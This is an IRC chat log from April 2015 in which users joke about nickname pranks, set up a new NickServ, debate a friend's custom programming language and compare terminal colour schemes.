[2015-04-14T11:58:03-0400] <+awebot> jjjjjjjjjjjjjjjjjjjjjjjjfwilson: I'll let them know!
[2015-04-14T11:58:27-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> @tell awebot join us
[2015-04-14T11:58:28-0400] <+awebot> jjjjjjjjjjjjjjjjjjjjjjjjfwilson: I'm right here!
[2015-04-14T11:58:34-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> @nick jjjjjjjjjjjjjjjjjjjjjjjjawebot
[2015-04-14T11:58:36-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> ok
[2015-04-14T12:40:41-0400] <JacobEdelman> much better, the new super duper slow lark version
[2015-04-14T12:40:41-0400] <+awebot> JacobEdelman: 42 minutes ago, jjjjjjjjjjjjjjjjjjjjjjjjfwilson said join us.
[2015-04-14T12:41:03-0400] <JacobEdelman> is about 55x the speed of haskell 
[2015-04-14T12:41:07-0400] <JacobEdelman> so, reasonable
[2015-04-14T12:45:11-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> JacobEdelman: add more j to your name
[2015-04-14T12:47:50-0400] <JacobEdelman> nah, i already have the best j
[2015-04-14T12:47:59-0400] <JacobEdelman> I don't need to add more j's like you wanna bes
[2015-04-14T12:50:02-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> w0w
[2015-04-14T12:50:05-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> r00d
[2015-04-14T12:55:52-0400] Mode is +nrt
[2015-04-14T12:57:24-0400] <apothy> Why is this still a thing? XD
[2015-04-14T12:57:25-0400] <+awe> JacobEdelman: 55x slower is not better.
[2015-04-14T12:57:33-0400] <+awe> JacobEdelman: and it's not reasonable.
[2015-04-14T12:59:37-0400] <JacobEdelman> apothy: last week tonight reference?
[2015-04-14T12:59:59-0400] <apothy> JacobEdelman: Not intentionally :P
[2015-04-14T13:00:00-0400] <JacobEdelman> awe: no comment
[2015-04-14T13:00:23-0400] <+awe> JacobEdelman: I'm going to ask Arjun tomorrow what he thinks of your language.
[2015-04-14T13:00:29-0400] <apothy> LOL
[2015-04-14T13:02:23-0400] <+awe> JacobEdelman: I have the strangest feeling he's going to agree with me that it's stupid.
[2015-04-14T13:03:34-0400] <JacobEdelman> awe: wait, the prof?
[2015-04-14T13:04:15-0400] <JacobEdelman> awe: seriously, please don't explain my language to them unless you can show you won't misrepresent it
[2015-04-14T13:04:26-0400] <JacobEdelman> a significant possibility if I have failed to explain my language to you
[2015-04-14T13:04:40-0400] <JacobEdelman> so don't pass on that incorrect knowledge
[2015-04-14T13:04:49-0400] <JacobEdelman> please
[2015-04-14T13:06:53-0400] <+awe> "My friend is designing a programming language where the language's syntax is defined in the language, and end-users are able to define their own syntax."
[2015-04-14T13:07:10-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> sounds terrible
[2015-04-14T13:07:33-0400] <+awe> JacobEdelman: is that good?
[2015-04-14T13:09:19-0400] <+awe> JacobEdelman: if you could actually explain your language in a way that wasn't horrendous, there might actually be a chance that I could explain it to someone else without misrepresenting it.
[2015-04-14T13:27:13-0400] <JacobEdelman> that is fine
[2015-04-14T13:27:20-0400] <JacobEdelman> just... its more complicated
[2015-04-14T13:27:32-0400] <JacobEdelman> I would prefer you say you can definie your own grammar
[2015-04-14T13:40:49-0400] <+awe> JacobEdelman: do you think it's fair to describe the system of defining your own grammar as macros?
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[2015-04-14T14:24:04-0400] Set by awe on February 24, 2015 at 12:36:51 AM EST
[2015-04-14T01:56:54-0400] <jjjjjjjjjjjjjjLittleBobbyTables> rekt
[2015-04-14T01:57:24-0400] • jjjjjjjjjjjjjjjjjjjkenzierocks: logs off
[2015-04-14T01:57:55-0400] <jjjjjjjjjjjjjjLittleBobbyTables> who am I going to talk to now
[2015-04-14T02:10:22-0400] <Tamini> go to sleep
[2015-04-14T02:10:38-0400] <jjjjjjjjjjjjjjLittleBobbyTables> why
[2015-04-14T02:10:40-0400] <jjjjjjjjjjjjjjLittleBobbyTables> it's only 11
[2015-04-14T02:14:31-0400] <jjjjjjjjjjjjjjLittleBobbyTables> gn
[2015-04-14T07:37:41-0400] <JacobEdelman> Gmorning all 
[2015-04-14T11:33:45-0400] <apothy> Lol the j nicks are still here
[2015-04-14T11:34:06-0400] <apothy> I'm just wondering when you guys will change them back XD
[2015-04-14T11:42:17-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> never!!!!
[2015-04-14T11:57:53-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> Tamini: join us
[2015-04-14T11:57:55-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> apothy: join us
[2015-04-14T11:58:03-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> @tell JacobEdelman join us
[2015-04-14T11:58:03-0400] <+awebot> jjjjjjjjjjjjjjjjjjjjjjjjfwilson: I'll let them know!
[2015-04-14T11:58:27-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> @tell awebot join us
[2015-04-14T11:58:28-0400] <+awebot> jjjjjjjjjjjjjjjjjjjjjjjjfwilson: I'm right here!
[2015-04-14T11:58:34-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> @nick jjjjjjjjjjjjjjjjjjjjjjjjawebot
[2015-04-14T11:58:36-0400] <jjjjjjjjjjjjjjjjjjjjjjjjfwilson> ok
[2015-04-14T12:40:41-0400] <JacobEdelman> much better, the new super duper slow lark version
[2015-04-14T12:40:41-0400] <+awebot> JacobEdelman: 42 minutes ago, jjjjjjjjjjjjjjjjjjjjjjjjfwilson said join us.
[2015-04-14T12:41:03-0400] <JacobEdelman> is about 55x the speed of haskell 
[2015-04-14T12:41:07-0400] <JacobEdelman> so, reasonable
[2015-04-14T12:45:11-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> JacobEdelman: add more j to your name
[2015-04-14T12:47:50-0400] <JacobEdelman> nah, i already have the best j
[2015-04-14T12:47:59-0400] <JacobEdelman> I don't need to add more j's like you wanna bes
[2015-04-14T12:50:02-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> w0w
[2015-04-14T12:50:05-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> r00d
[2015-04-14T12:57:22-0400] <apothy> Why is this still a thing? XD
[2015-04-14T12:57:24-0400] <+awe> JacobEdelman: 55x slower is not better.
[2015-04-14T12:57:31-0400] <+awe> JacobEdelman: and it's not reasonable.
[2015-04-14T12:59:37-0400] <JacobEdelman> apothy: last week tonight reference?
[2015-04-14T12:59:59-0400] <apothy> JacobEdelman: Not intentionally :P
[2015-04-14T13:00:00-0400] <JacobEdelman> awe: no comment
[2015-04-14T13:00:23-0400] <+awe> JacobEdelman: I'm going to ask Arjun tomorrow what he thinks of your language.
[2015-04-14T13:00:29-0400] <apothy> LOL
[2015-04-14T13:02:23-0400] <+awe> JacobEdelman: I have the strangest feeling he's going to agree with me that it's stupid.
[2015-04-14T13:03:34-0400] <JacobEdelman> awe: wait, the prof?
[2015-04-14T13:04:15-0400] <JacobEdelman> awe: seriously, please don't explain my language to them unless you can show you won't misrepresent it
[2015-04-14T13:04:26-0400] <JacobEdelman> a significant possibility if I have failed to explain my language to you
[2015-04-14T13:04:40-0400] <JacobEdelman> so don't pass on that incorrect knowledge
[2015-04-14T13:04:49-0400] <JacobEdelman> please
[2015-04-14T13:06:53-0400] <+awe> "My friend is designing a programming language where the language's syntax is defined in the language, and end-users are able to define their own syntax."
[2015-04-14T13:07:10-0400] <jjjjjjjjjjjjjjjjjjjjkenzierocks> sounds terrible
[2015-04-14T13:07:33-0400] <+awe> JacobEdelman: is that good?
[2015-04-14T13:09:19-0400] <+awe> JacobEdelman: if you could actually explain your language in a way that wasn't horrendous, there might actually be a chance that I could explain it to someone else without misrepresenting it.
[2015-04-14T13:27:13-0400] <JacobEdelman> that is fine
[2015-04-14T13:27:20-0400] <JacobEdelman> just... its more complicated
[2015-04-14T13:27:32-0400] <JacobEdelman> I would prefer you say you can definie your own grammar
[2015-04-14T13:40:49-0400] <+awe> JacobEdelman: do you think it's fair to describe the system of defining your own grammar as macros?
[2015-04-14T14:24:06-0400] Mode is +nrt
[2015-04-14T14:38:13-0400] <jjjjjjjjjjjjjjLittleBobbyTables> no
[2015-04-14T14:54:47-0400] <JacobEdelman> awe: no
[2015-04-14T14:55:13-0400] <JacobEdelman> Macro is just a nice comparison
[2015-04-14T14:55:26-0400] <JacobEdelman> In reality it's much less flimsy
[2015-04-14T15:01:48-0400] <jjjjjjjjjjjjjjLittleBobbyTables> CLion is finally out of beta...
[2015-04-14T15:11:23-0400] <+awe> JacobEdelman: how is it different from a macro?
[2015-04-14T15:21:01-0400] <j> sup kids
[2015-04-14T15:28:04-0400] <+awe> hi z3t
[2015-04-14T15:28:48-0400] <j> who's this "z3t" 
[2015-04-14T15:32:31-0400] <jjjjjjjjjjjjjjLittleBobbyTables> hi j
[2015-04-14T15:36:37-0400] <j> hi jjjjjjjjjjjjjjLittleBobbyTables 
[2015-04-14T15:39:32-0400] <JacobEdelman> awe: legit grammar
[2015-04-14T15:39:58-0400] <JacobEdelman> hmm... have you worked extensively with grammars? (bnf and such?)
[2015-04-14T15:40:09-0400] <+awe> That's not an answer.
[2015-04-14T15:40:17-0400] <+awe> "Legit grammar" is not an answer to how it differs from macros.
[2015-04-14T15:41:25-0400] <JacobEdelman> have you worked with grammars and formal languages?
[2015-04-14T15:45:24-0400] <+awe> No, but I know what they are. So, that's not really the point.
[2015-04-14T15:45:27-0400] <+awe> Just explain how it differs.
[2015-04-14T15:50:07-0400] The_Master (uid51972@pdgn-10a.9lf.7cuf9e.IP) joined the channel
[2015-04-14T15:50:56-0400] <The_Master> awe: did you reset the nickserv?
[2015-04-14T15:52:40-0400] <+awe> The_Master: reset it? no.
[2015-04-14T15:52:45-0400] <+awe> The_Master: there actually _is_ one now.
[2015-04-14T15:53:17-0400] <The_Master> awe: did you erase it?
[2015-04-14T15:53:39-0400] <The_Master> awe:It told me my nick was not identified
[2015-04-14T15:53:51-0400] <The_Master> *registered
[2015-04-14T15:54:40-0400] jjjjjjjjjjjjjjLittleBobbyTables is now known as LittleBobbyTables
[2015-04-14T15:55:12-0400] LittleBobbyTables is now known as jjjjjjjjjjjjjjLittleBobbyTables
[2015-04-14T15:55:27-0400] <jjjjjjjjjjjjjjLittleBobbyTables> aight
[2015-04-14T15:55:29-0400] <jjjjjjjjjjjjjjLittleBobbyTables> mines still registered
[2015-04-14T15:56:09-0400] <+awe> The_Master: there previously was not one
[2015-04-14T15:56:11-0400] <+awe> The_Master: and now there is one
[2015-04-14T15:56:30-0400] <+awe> The_Master: so, yes, you need to register
[2015-04-14T15:57:26-0400] <jjjjjjjjjjjjjjLittleBobbyTables> 7:55 PM <NickServ> Nickname LittleBobbyTables registered under your user@host-mask: sid33285@*.9ak.7cuf9e.IP
[2015-04-14T16:01:29-0400] <The_Master> 3:50 PM <NickServ> Your nickname is not registered. To register it, use: /msg NickServ REGISTER password email
[2015-04-14T16:01:52-0400] <+awe> The_Master: yes, correct, you have to register.
[2015-04-14T16:01:57-0400] <+awe> jjjjjjjjjjjjjjLittleBobbyTables: you already registered before.
[2015-04-14T16:02:11-0400] <The_Master> awe: I did too
[2015-04-14T16:02:14-0400] <+awe> No, you didn't.
[2015-04-14T16:02:19-0400] <+awe> You haven't been on since we added this.
[2015-04-14T16:02:22-0400] <+awe> I added it like two days ago.
[2015-04-14T16:02:27-0400] <+awe> We got rid of Pidgey a while ago.
[2015-04-14T16:02:35-0400] <The_Master> ok
[2015-04-14T16:02:37-0400] <+awe> And then recently, I added a full NickServ
[2015-04-14T16:03:20-0400] <The_Master> I registered.
[2015-04-14T16:03:22-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I never registered for full NickServ?
[2015-04-14T16:03:38-0400] <+awe> jjjjjjjjjjjjjjLittleBobbyTables: you must've.
[2015-04-14T16:03:49-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I only registered with Pidgey
[2015-04-14T16:03:57-0400] <+awe> Evidently not.
[2015-04-14T16:04:03-0400] <+awe> I didn't copy any information over from Pidgey.
[2015-04-14T16:05:58-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> Yeah you have to manually register again now
[2015-04-14T16:06:41-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I never even knew we had a nickserv lol
[2015-04-14T16:07:18-0400] <+awe> It happened like a day or two ago.
[2015-04-14T16:09:25-0400] <jjjjjjjjjjjjjjLittleBobbyTables> http://prntscr.com/6ts0np
[2015-04-14T16:11:10-0400] <+awe> jjjjjjjjjjjjjjLittleBobbyTables: yeah, you must've already registered it.
[2015-04-14T16:11:14-0400] <+awe> jjjjjjjjjjjjjjLittleBobbyTables: or someone else did. I don't know.
[2015-04-14T16:13:00-0400] <jjjjjjjjjjjjjjLittleBobbyTables> Under my host though? O.o
[2015-04-14T16:19:13-0400] <+awe> You're on IRCCloud?
[2015-04-14T16:19:57-0400] <+awe> It could've been zrl.
[2015-04-14T16:20:00-0400] <+awe> He's on the same box as you are.
[2015-04-14T16:20:09-0400] <+awe> Though, I doubt that.
[2015-04-14T16:21:16-0400] <jjjjjjjjjjjjjjLittleBobbyTables> weird...
[2015-04-14T16:22:33-0400] <JacobEdelman> okay, seriosly, enough with the obnoxious js
[2015-04-14T16:22:36-0400] <JacobEdelman> they are annoying
[2015-04-14T16:22:38-0400] <JacobEdelman> not to type
[2015-04-14T16:22:40-0400] <JacobEdelman> but to look at
[2015-04-14T16:22:51-0400] <JacobEdelman> I'm just gonna start muting you guys soon
[2015-04-14T16:23:33-0400] jjjjjjjjjjjjjjjjjjjjkenzierocks is now known as kenzierocks
[2015-04-14T16:25:11-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I ignore you all the time anyway
[2015-04-14T16:27:54-0400] <JacobEdelman> ....
[2015-04-14T16:28:30-0400] <JacobEdelman> oh wait, also, LittleBobbyTables: I wasn't answering your texts cause I lost my phone
[2015-04-14T16:28:40-0400] <JacobEdelman> I found it (although I don't have it at the moment)
[2015-04-14T16:28:54-0400] <JacobEdelman> also, kenzierocks: thanks!
[2015-04-14T16:29:31-0400] <kenzierocks> np
[2015-04-14T16:29:45-0400] • kenzierocks: gOes back to math class
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[2015-04-14T17:01:58-0400] <j> am I obnoxious JacobEdelman 
[2015-04-14T17:06:12-0400] <j> EVERY GODDAMN .COM I THINK OF IS TAKEN. NO OTHER EXTENSION. WTF!
[2015-04-14T17:07:06-0400] <+awe> j: QQ
[2015-04-14T17:11:05-0400] <j> -_-
[2015-04-14T17:11:15-0400] <jjjjjjjjjjjjjjjjjjjjjjsdamashek> jjjjjjjjjjjjjjLittleBobbyTables: lol you know that's the successful registration message
[2015-04-14T17:11:30-0400] <JacobEdelman> sdamashek: could you change you nick back?
[2015-04-14T17:11:53-0400] <+awe> Good point, sdamashek. I didn't even read it closely enough.
[2015-04-14T17:13:01-0400] <j> dear jjjjjjjjjjjjjjjjjjjjjjsdamashek, jjjjjjjjjjjjjjLittleBobbyTables, jjjjjjjjjjjjjjjjjjjjjjjjjwoglom, and jjjjjjjjjjjjjjjjjjjjjjjjfwilson - I would request that the multiple 'j's beginning your nick be removed. Thanks
[2015-04-14T17:13:24-0400] <bob_twinkles> do you have a copyright on the letter j now?
[2015-04-14T17:13:44-0400] <j> that depends...are you going to check?
[2015-04-14T17:13:48-0400] <bob_twinkles> yse
[2015-04-14T17:13:51-0400] <bob_twinkles> *yes
[2015-04-14T17:13:55-0400] <j> then uh
[2015-04-14T17:13:58-0400] <j> it's pending
[2015-04-14T17:14:05-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> I used it first :P
[2015-04-14T17:14:13-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> In like November when I first joined
[2015-04-14T17:14:15-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> Lol
[2015-04-14T17:14:36-0400] <j> sh
[2015-04-14T17:15:29-0400] <JacobEdelman> actually
[2015-04-14T17:15:33-0400] <JacobEdelman> I registered the nick
[2015-04-14T17:15:40-0400] <JacobEdelman> back when we first had Pidgey as the nick serv
[2015-04-14T17:15:51-0400] <JacobEdelman> so I beat the rest of you
[2015-04-14T17:16:01-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> 2014-11-20 09:48:57     --      You are now known as j
[2015-04-14T17:16:03-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> 2014-11-20 09:49:01     j       wow one character nickname
[2015-04-14T17:16:05-0400] <jjjjjjjjjjjjjjjjjjjjjjjjjwoglom> :P
[2015-04-14T17:16:26-0400] <j> ...why do you...
[2015-04-14T17:16:46-0400] jjjjjjjjjjjjjjjjjjjjjjjjjwoglom is now known as jwoglom
[2015-04-14T17:16:50-0400] <jwoglom> jayyy lmao
[2015-04-14T17:18:07-0400] <j> I think namecheap is just registering the .com s as I search them
[2015-04-14T17:18:28-0400] <jwoglom> run a whois
[2015-04-14T17:18:39-0400] <jwoglom> also i don't think they'd do that, they aren't that sketchy
[2015-04-14T17:20:31-0400] <j> Creation Date: 1998-03-27
[2015-04-14T17:20:41-0400] <JacobEdelman> hmmm... so, before I was born
[2015-04-14T17:20:45-0400] <JacobEdelman> what domain?
[2015-04-14T17:20:50-0400] <JacobEdelman> also, j, please change your domain
[2015-04-14T17:20:54-0400] <j> this niche didn't even exist back then
[2015-04-14T17:20:58-0400] <JacobEdelman> I have no idea who you are
[2015-04-14T17:21:04-0400] <j> change my domain?
[2015-04-14T17:21:06-0400] <JacobEdelman> no 
[2015-04-14T17:21:07-0400] <j> jerk
[2015-04-14T17:21:08-0400] <JacobEdelman> your name
[2015-04-14T17:21:09-0400] <JacobEdelman> I meant
[2015-04-14T17:21:10-0400] <JacobEdelman> :P
[2015-04-14T17:21:12-0400] <j> no
[2015-04-14T17:21:15-0400] <JacobEdelman> ...
[2015-04-14T17:21:16-0400] <j> you only had one demand
[2015-04-14T17:21:19-0400] <JacobEdelman> fine
[2015-04-14T17:21:19-0400] <j> you ruined it
[2015-04-14T17:21:44-0400] <JacobEdelman> ....
[2015-04-14T17:22:46-0400] <j> now, what should I change my domain to
[2015-04-14T17:22:51-0400] <+awe> [17:20:54]  <j>	this niche didn't even exist back then
[2015-04-14T17:22:58-0400] <+awe> j: what domain are you referring to?
[2015-04-14T17:23:56-0400] <j> that shall remain a secret until I am making millions, awe
[2015-04-14T17:24:03-0400] <+awe> But it's already purchased.
[2015-04-14T17:24:04-0400] <+awe> I'm so confused.
[2015-04-14T17:24:40-0400] <jwoglom> hmmm.. google.com/search?q=site:whois.com "Creation Date: 1998-03-27"
[2015-04-14T17:25:32-0400] <j> Quite a few results, jwoglom.
[2015-04-14T17:25:44-0400] <jwoglom> only 10
[2015-04-14T17:26:00-0400] <j> sh
[2015-04-14T17:26:05-0400] <jwoglom> https://www.google.com/search?q=site:whois.com%20%22Creation%20Date:%201998-03-27%22 if you don't like the spaces
[2015-04-14T17:26:16-0400] <+awe> Agony, Solari, Aventis, Galizacig, Infogrid, DanielChapterOne, CatsAndDogs, McCallPattern, HomeBistro
[2015-04-14T17:26:37-0400] <+awe> It's actually 9 because 1 is a .net (delmore.net)
[2015-04-14T17:26:52-0400] <j> none of those are it, actually
[2015-04-14T17:27:19-0400] <jwoglom> https://www.google.com/search?q="Creation+Date%3A+1998-03-27"+site%3Awho.is?
[2015-04-14T17:27:40-0400] <jwoglom> https://www.google.com/search?q=%22Creation%20Date:%201998-03-27%22%20site:whois.domaintools.com&gws_rd=ssl?
[2015-04-14T17:28:10-0400] <j> nope
[2015-04-14T17:30:20-0400] <j> eh i'll just buy the .net 
[2015-04-14T17:32:00-0400] jjjjjjjjjjjjjjjjjjjjjjsdamashek is now known as jj
[2015-04-14T17:32:34-0400] jj is now known as sdamashek
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[2015-04-14T17:58:44-0400] jjjjjjjjjjjjjjjjjjjjjjjjfwilson is now known as fwilson
[2015-04-14T18:02:04-0400] <j> jjjjjjjjjjjjjjLittleBobbyTables: You are the last to convert.
[2015-04-14T18:19:48-0400] <j> http://abcnews.go.com/Politics/wireStory/obama-removes-cuba-state-sponsor-terror-list-30314957
[2015-04-14T18:19:56-0400] <fwilson> mfw you have no dank memes
[2015-04-14T18:20:09-0400] <fwilson> j: ayy lmao
[2015-04-14T18:21:03-0400] j is now known as Pdgn37820
[2015-04-14T18:21:03-0400] fwilson is now known as 678AACFPL
[2015-04-14T18:21:05-0400] <678AACFPL> :D
[2015-04-14T18:21:08-0400] <678AACFPL> wat
[2015-04-14T18:21:10-0400] 678AACFPL is now known as fwilson
[2015-04-14T18:21:15-0400] <Pdgn37820> wait wait wait wait
[2015-04-14T18:21:17-0400] Pdgn37820 is now known as j
[2015-04-14T18:21:17-0400] j (backdoor@pdgn-jss.in2.frqgna.IP) left IRC (services.pdgn.co (Nick collision))
[2015-04-14T18:21:21-0400] <fwilson> AYYYYYYY
[2015-04-14T18:21:29-0400] j (backdoor@pdgn-jss.in2.frqgna.IP) joined the channel
[2015-04-14T18:21:31-0400] <fwilson> AYY LMAO
[2015-04-14T18:21:37-0400] <j> bitch
[2015-04-14T18:21:43-0400] <fwilson> it's ok
[2015-04-14T18:21:45-0400] <fwilson> do you want the nick
[2015-04-14T18:21:49-0400] <j> tf does that even mean
[2015-04-14T18:21:51-0400] <jwoglom> lol
[2015-04-14T18:21:54-0400] <fwilson> there you can /ns register
[2015-04-14T18:21:58-0400] <jwoglom> did someone else connecting with the same nick do that
[2015-04-14T18:23:46-0400] <j> nickname J is already registered
[2015-04-14T18:23:49-0400] <j> who the fuck
[2015-04-14T18:24:16-0400] <fwilson> ayy
[2015-04-14T18:24:19-0400] <fwilson> lmao
[2015-04-14T18:24:23-0400] <fwilson> jwoglom: no, i /ns recover j
[2015-04-14T18:24:38-0400] <jwoglom> huh ok
[2015-04-14T18:24:58-0400] <fwilson> j: ugh i can't drop it now
[2015-04-14T18:25:11-0400] <j> jerk
[2015-04-14T18:26:03-0400] <fwilson> sorry
[2015-04-14T18:26:14-0400] <fwilson> aha
[2015-04-14T18:26:16-0400] <fwilson> there you go j
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[2015-04-14T18:28:53-0400] <jjjjjjjjjjjjjjLittleBobbyTables> j: what am I the last to convert in?
[2015-04-14T18:29:12-0400] <j> the multiple j prefix
[2015-04-14T18:29:13-0400] <jwoglom> you've still got the jjjjjjjjjjjjjj :P
[2015-04-14T18:29:28-0400] <jjjjjjjjjjjjjjLittleBobbyTables> I was gone lol
[2015-04-14T18:30:29-0400] <j> Fix it!
[2015-04-14T18:30:51-0400] jjjjjjjjjjjjjjLittleBobbyTables is now known as WWWWWWWWWWWWWLittleBobbyTables
[2015-04-14T18:30:57-0400] <j> -_-
[2015-04-14T18:31:11-0400] <WWWWWWWWWWWWWLittleBobbyTables> Is this better
[2015-04-14T18:31:19-0400] <j> no prefix would be nice
[2015-04-14T18:31:33-0400] <WWWWWWWWWWWWWLittleBobbyTables> I'm the only one with W though
[2015-04-14T18:31:36-0400] <WWWWWWWWWWWWWLittleBobbyTables> so you can still tab complete
[2015-04-14T18:32:29-0400] <j> but you take up half the screen
[2015-04-14T18:33:54-0400] kenzierocks is now known as {{{{{{{{{{{{{{{{{{{{kenzierocks
[2015-04-14T18:33:58-0400] <{{{{{{{{{{{{{{{{{{{{kenzierocks> perfect
[2015-04-14T18:38:56-0400] <{{{{{{{{{{{{{{{{{{{{kenzierocks> awe: can you setup /*s commands like /ns -> nickserv ?
[2015-04-14T18:39:41-0400] <bob_twinkles> depends on your client, but usually you can do something like /alias
[2015-04-14T18:39:52-0400] <{{{{{{{{{{{{{{{{{{{{kenzierocks> yes
[2015-04-14T18:40:01-0400] <{{{{{{{{{{{{{{{{{{{{kenzierocks> but it's "more secure" to have that
[2015-04-14T18:40:17-0400] <fwilson> just alias your client to /msg nickserv@services.pdgn.co
[2015-04-14T18:41:16-0400] WWWWWWWWWWWWWLittleBobbyTables is now known as WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW
[2015-04-14T18:41:21-0400] <WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW> is this better
[2015-04-14T18:41:51-0400] j is now known as LittleBobbyTables
[2015-04-14T18:42:01-0400] <LittleBobbyTables> i am skid
[2015-04-14T18:42:23-0400] <LittleBobbyTables> pls arrest me fbi
[2015-04-14T18:42:50-0400] LittleBobbyTables is now known as Pdgn27175
[2015-04-14T18:42:50-0400] WWWWWWWWWWWWWWWWWWWWWWWWWWWWWWW is now known as 678AABICX
[2015-04-14T18:43:05-0400] <678AABICX> waow
[2015-04-14T18:43:09-0400] <678AABICX> stupid pdgn
[2015-04-14T18:43:12-0400] {{{{{{{{{{{{{{{{{{{{kenzierocks is now known as {}
[2015-04-14T18:43:16-0400] 678AABICX is now known as LittleBobbyTables
[2015-04-14T18:43:16-0400] LittleBobbyTables (sid33285@pdgn-550.9ak.7cuf9e.IP) left IRC (services.pdgn.co (Nick collision))
[2015-04-14T18:43:16-0400] {} is now known as kenzierocks
[2015-04-14T18:43:21-0400] <kenzierocks> lol
[2015-04-14T18:43:27-0400] LittleBobbyTables (sid33285@pdgn-550.9ak.7cuf9e.IP) joined the channel
[2015-04-14T18:43:28-0400] <Pdgn27175> pls
[2015-04-14T18:43:30-0400] Pdgn27175 is now known as j
[2015-04-14T18:43:35-0400] <LittleBobbyTables> lmao
[2015-04-14T18:43:38-0400] <fwilson> ayyy lmao
[2015-04-14T18:43:41-0400] <fwilson> get rekt
[2015-04-14T18:43:43-0400] <fwilson> etc
[2015-04-14T18:43:44-0400] <LittleBobbyTables> This nickserv is dumb
[2015-04-14T18:43:54-0400] <fwilson> your mom is dumb
[2015-04-14T18:43:55-0400] LittleBobbyTables is now known as LittleBobbyTabIes
[2015-04-14T18:44:06-0400] fwilson is now known as Litt1eBobbyTables
[2015-04-14T18:44:08-0400] <kenzierocks> maybe your mom is this nick serv
[2015-04-14T18:44:12-0400] <Litt1eBobbyTables> hi guys
[2015-04-14T18:44:18-0400] LittleBobbyTabIes is now known as LittIeBobbyTables
[2015-04-14T18:44:18-0400] <Litt1eBobbyTables> your mom is dumb
[2015-04-14T18:44:30-0400] Litt1eBobbyTables is now known as LittleBobbyTadles
[2015-04-14T18:44:32-0400] <LittleBobbyTadles> ayy
[2015-04-14T18:44:34-0400] LittleBobbyTadles is now known as fwilson
[2015-04-14T18:44:34-0400] <LittIeBobbyTables> >tadlels
[2015-04-14T18:44:36-0400] <fwilson> ok i'm done
[2015-04-14T18:44:52-0400] kenzierocks is now known as `11TT138008YT48135
[2015-04-14T18:44:58-0400] LittIeBobbyTables is now known as LittIeBobbyTabIes
[2015-04-14T18:45:07-0400] `11TT138008YT48135 is now known as kenzierocks
[2015-04-14T18:45:29-0400] LittIeBobbyTabIes is now known as LittleBobbyTables
[2015-04-14T18:45:53-0400] <kenzierocks> fwilson: can't do that alias
[2015-04-14T18:45:53-0400] <LittleBobbyTables> There
[2015-04-14T18:45:59-0400] <kenzierocks> i've got esper and freenode
[2015-04-14T18:46:00-0400] <fwilson> monokai or solarized?
[2015-04-14T18:46:04-0400] <fwilson> kenzierocks: o
[2015-04-14T18:46:07-0400] <fwilson> ok
[2015-04-14T18:46:38-0400] <LittleBobbyTables> Depends
[2015-04-14T18:46:44-0400] <LittleBobbyTables> Are you fullscreen?
[2015-04-14T18:52:39-0400] <fwilson> yes
[2015-04-14T18:52:40-0400] <fwilson> almost always
[2015-04-14T18:52:47-0400] <fwilson> i'm currently on solarized and liking it
[2015-04-14T18:52:57-0400] <fwilson> but monokai looks nice as well
[2015-04-14T18:53:07-0400] <fwilson> i want to know if it's worth the effort to tell xfce4-terminal about
[2015-04-14T18:53:24-0400] <LittleBobbyTables> If fullscreen, do monokai
[2015-04-14T18:53:33-0400] <fwilson> hm ok
[2015-04-14T18:53:39-0400] <LittleBobbyTables> If not, choose the one that fits the color scheme more
[2015-04-14T18:53:42-0400] <fwilson> as soon as i'm unlazy i will add it as a color scheme
[2015-04-14T18:54:04-0400] <LittleBobbyTables> Solarized, to me, is more of a "match colors" than alone scheme
[2015-04-14T18:54:16-0400] <fwilson> hrm, i see
[2015-04-14T18:55:54-0400] <fwilson> aahh
[2015-04-14T18:55:58-0400] <fwilson> too much contrast
[2015-04-14T18:56:01-0400] <fwilson> this is scary
[2015-04-14T18:56:18-0400] <fwilson> solarized dark is a *lot* easier on my eyes lol
[2015-04-14T18:56:23-0400] <fwilson> well now i know
[2015-04-14T18:56:39-0400] <LittleBobbyTables> :P
[2015-04-14T18:56:46-0400] <LittleBobbyTables> Try darcula
[2015-04-14T18:57:18-0400] <fwilson> meh, maybe later
[2015-04-14T19:01:48-0400] <LittleBobbyTables> actually
[2015-04-14T19:01:53-0400] <LittleBobbyTables> I forgot the site
[2015-04-14T19:01:58-0400] <LittleBobbyTables> but there's a site that you can just browse themes
[2015-04-14T19:03:30-0400] <fwilson> yeah i found it
[2015-04-14T20:31:10-0400] <+awe> [18:38:56]  <{{{{{{{{{{{{{{{{{{{{kenzierocks>	awe: can you setup /*s commands like /ns -> nickserv ?
[2015-04-14T20:31:14-0400] <+awe> kenzierocks: That should already be set up.
[2015-04-14T20:32:03-0400] <kenzierocks> * NS :Unknown command
[2015-04-14T20:32:07-0400] <kenzierocks> :|
[2015-04-14T20:32:52-0400] <+awe> Let me check.
[2015-04-14T20:32:54-0400] <+awe> I might've turned it off.
[2015-04-14T20:34:22-0400] sdamashek is now known as MomServ
[2015-04-14T20:35:49-0400] jwoglom is now known as RektServ
[2015-04-14T20:36:21-0400] kenzierocks is now known as r00dServ
[2015-04-14T20:36:57-0400] alokpathy has userhost alokpathy@pdgn-4jd.4t2.2bemd8.IP and real name “alokpathy”
